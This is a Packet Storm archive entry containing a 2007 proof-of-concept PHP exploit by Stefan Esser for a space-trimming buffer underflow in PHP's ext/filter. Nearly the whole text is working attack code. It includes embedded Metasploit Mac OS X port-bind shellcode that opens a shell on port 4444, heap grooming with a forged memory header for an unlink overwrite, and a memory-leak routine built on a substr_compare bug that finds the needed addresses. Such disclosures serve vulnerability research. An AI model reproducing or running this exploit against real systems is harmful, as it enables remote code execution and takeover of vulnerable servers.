MOPB-extfilter.txt

2007-03-20T00:00:00
ID PACKETSTORM:55177
Type packetstorm
Reporter Stefan Esser
Modified 2007-03-20T00:00:00

Description

                                        
                                            `<?php  
////////////////////////////////////////////////////////////////////////  
// _ _ _ _ ___ _ _ ___ //  
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //  
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //  
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //  
// //  
// Proof of concept code from the Hardened-PHP Project //  
// (C) Copyright 2007 Stefan Esser //  
// //  
////////////////////////////////////////////////////////////////////////  
// PHP ext/filter Space Trimming Buffer Underflow Vulnerability //  
////////////////////////////////////////////////////////////////////////  
  
// This is meant as a protection against remote file inclusion.  
die("REMOVE THIS LINE");  
  
// PPC MacOSX Portshell on 4444 from Metasploit  
// (16 bytes added to make it compatible with unlink exploit)  
$shellcode = "\x48\x00\x00\x10\x60\x00\x00\x00\x60\x00\x00\x00\x60\x00\x00\x00".  
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x07\xfa".  
"\x38\xa5\xf8\x4a\x3c\xc0\x28\x43\x60\xc6\x84\x76\x38\x85\x07\xee".  
"\x7c\x89\x03\xa6\x80\x9f\xf8\x4a\x7c\x84\x32\x78\x90\x9f\xf8\x4a".  
"\x7c\x05\xf8\xac\x7c\xff\x04\xac\x7c\x05\xff\xac\x3b\xc5\x07\xba".  
"\x7f\xff\xf2\x15\x42\x20\xff\xe0\x4c\xff\x01\x2c\x10\x23\x84\x74".  
"\x10\xc3\x84\x77\x10\xe3\x84\x70\x10\x43\x84\x17\x6c\x43\x84\x74".  
"\x54\x43\x86\x0e\x54\x3d\x9f\x0e\x60\x43\x84\x7b\x28\x41\x95\x2a".  
"\x28\x43\x84\x76\x54\xcb\x86\xd0\x10\xe3\x84\x66\x10\x43\x84\x1e".  
"\x57\x80\x77\x0e\x6c\x43\x84\x74\x54\x43\x86\x0e\x10\x43\x84\x1c".  
"\x57\x80\x77\x0e\x6c\x43\x84\x74\x54\x43\x86\x0e\x57\x80\x77\x0e".  
"\x10\x43\x84\x68\x10\xc3\x84\x66\xb8\xc2\x7b\x9e\x10\xe2\x7b\x9e".  
"\x10\xc2\x7b\x86\x6c\x43\x84\x74\x54\x43\x86\x0e\x54\x3d\x9f\x0e".  
"\x10\xe3\x84\x74\x10\x43\x84\x2c\x57\x80\x77\x0e\x54\xe7\xaf\x0e".  
"\x6c\x43\x84\x74\x54\x43\x86\x0e\x10\xe6\x7b\x89\x04\x46\x7b\x89".  
"\x68\xc1\x7b\x93\x10\x43\x84\x34\x6c\x43\x84\x74\x54\x43\x86\x0e".  
"\x54\xe6\xae\x0f\x68\xc1\x7b\x8b\x54\x2b\x86\xd0\x10\x20\x84\x5e".  
"\xb8\x22\x7b\x8e\xb8\xe2\x7b\x8a\x10\xc2\x7b\x8e\x10\x43\x84\x4d".  
"\x54\x43\x80\xda\x6c\x43\x84\x74\x54\x43\x86\x0e\x57\xa3\x84\x7e".  
"\x07\x21\xed\x18\x07\x20\xf7\x1e\x28\x43\x84\x76";  
  
// Offsets used for the overwrite (will be overwritten by findOffsets()  
$offset_1 = 0x55555555;  
$offset_2 = 0x66666666;  
  
findOffsets(); // Comment out if you want to just test the crash  
  
printf("Using offsets %08x and %08x\n", $offset_1, $offset_2);  
  
// Convert offsets into strings  
$addr1 = pack("L", $offset_1);  
$addr2 = pack("L", $offset_2);  
  
// Memory Alignment stuff  
$v1 = 1;  
$v2 = 2;  
  
// Block that will contain the fake memory block  
$v1 = str_repeat("B", 0x110-0x14);  
  
// Prepare fake memory header  
$v1[0] = chr(0);  
$v1[1] = chr(0);  
$v1[2] = chr(0);  
$v1[3] = chr(4);  
  
$v1[8] = $addr1[0];  
$v1[9] = $addr1[1];  
$v1[10] = $addr1[2];  
$v1[11] = $addr1[3];  
  
$v1[12] = $addr2[0];  
$v1[13] = $addr2[1];  
$v1[14] = $addr2[2];  
$v1[15] = $addr2[3];  
  
// Heap alignment  
$v2 = str_repeat("A", 400);  
$v2 = str_repeat(" ", 400);  
  
// Trigger overflow  
filter_var($v2, FILTER_VALIDATE_INT);  
unset($v2);  
  
  
  
  
  
  
  
  
  
  
  
  
// This function uses the substr_compare() vulnerability  
// to get the offsets. In a remote exploit such offsets  
// would get bruteforced  
  
function findOffsets()  
{  
global $offset_1, $offset_2, $shellcode;  
// We need to NOT clear these variables,  
// otherwise the heap is too segmented  
global $memdump, $d, $arr;  
  
$sizeofHashtable = 39;  
$maxlong = 0x7fffffff;  
  
// Signature of a big endian Hashtable of size 256 with 1 element  
$search = "\x00\x00\x01\x00\x00\x00\x00\xff\x00\x00\x00\x01";  
  
$memdump = str_repeat("A", 16000);  
for ($i=0; $i<400; $i++) {  
$d[$i]=array();  
}  
unset($d[350]);  
$x = str_repeat("\x01", $sizeofHashtable);  
unset($d[351]);  
unset($d[352]);  
$arr = array();  
for ($i=0; $i<129; $i++) { $arr[$i] = 1; }  
$arr[$shellcode] = 1;  
for ($i=0; $i<129; $i++) { unset($arr[$i]); }  
  
// If the libc memcmp leaks the information use it  
// otherwise we only get a case insensitive memdump  
$b = substr_compare(chr(65),chr(0),0,1,false) != 65;  
  
for ($i=0; $i<16000; $i++) {  
$y = substr_compare($x, chr(0), $i+1, $maxlong, $b);  
$Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);  
if ($y-$Y == 1 || $Y-$y==1){  
$y = chr($y);  
if ($b && strtoupper($y)!=$y) {  
if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {  
$y = strtoupper($y);  
}  
}  
$memdump[$i] = $y;  
} else {  
$y = substr_compare($x, chr(1), $i+1, $maxlong, $b);  
$Y = substr_compare($x, chr(2), $i+1, $maxlong, $b);  
if ($y-$Y != 1 && $Y-$y!=1){  
$memdump[$i] = chr(1);  
} else {  
$memdump[$i] = chr(0);  
}   
}  
}  
  
// Search shellcode and hashtable and calculate memory address  
$pos_shellcode = strpos($memdump, $shellcode);  
$pos_hashtable = strpos($memdump, $search);  
$addr = substr($memdump, $pos_hashtable+6*4, 4);  
$addr = unpack("L", $addr);  
  
// Fill in both offsets   
$offset_1 = $addr[1] + 32;  
$offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4 - 8;  
}  
  
?>  
  
`